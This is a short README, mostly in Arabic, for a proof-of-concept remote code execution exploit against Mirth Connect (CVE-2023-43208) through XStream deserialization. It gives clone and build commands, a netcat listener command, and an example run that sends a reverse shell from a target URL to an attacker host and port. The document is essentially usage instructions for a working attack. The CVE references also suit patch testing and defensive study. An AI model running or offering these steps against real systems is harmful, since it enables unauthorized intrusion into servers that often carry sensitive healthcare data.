Mirth Connect RCE - CVE-2023-43208

الوصف

إثبات المفهوم لتنفيذ الأوامر عن بعد في Mirth Connect (RCE) يؤثر على Mirth Connect <= 4.4.0 من خلال إلغاء تسلسل XStream.

المتطلبات

• g++ (C++20)

التثبيت

git clone https://github.com/Pegasus0xx/CVE-2023-43208.git && \
cd CVE-2023-43208 && \
make

الاستخدام

./exploit <URL> <LHOST> <LPORT>

مثال

بدء المستمع

nc -lvnp 4444

تشغيل الاستغلال

./exploit https://target.com 10.10.10.10 4444

المراجع

• https://nvd.nist.gov/vuln/detail/CVE-2023-43208
• https://github.com/advisories/GHSA-pj5c-qr29-6746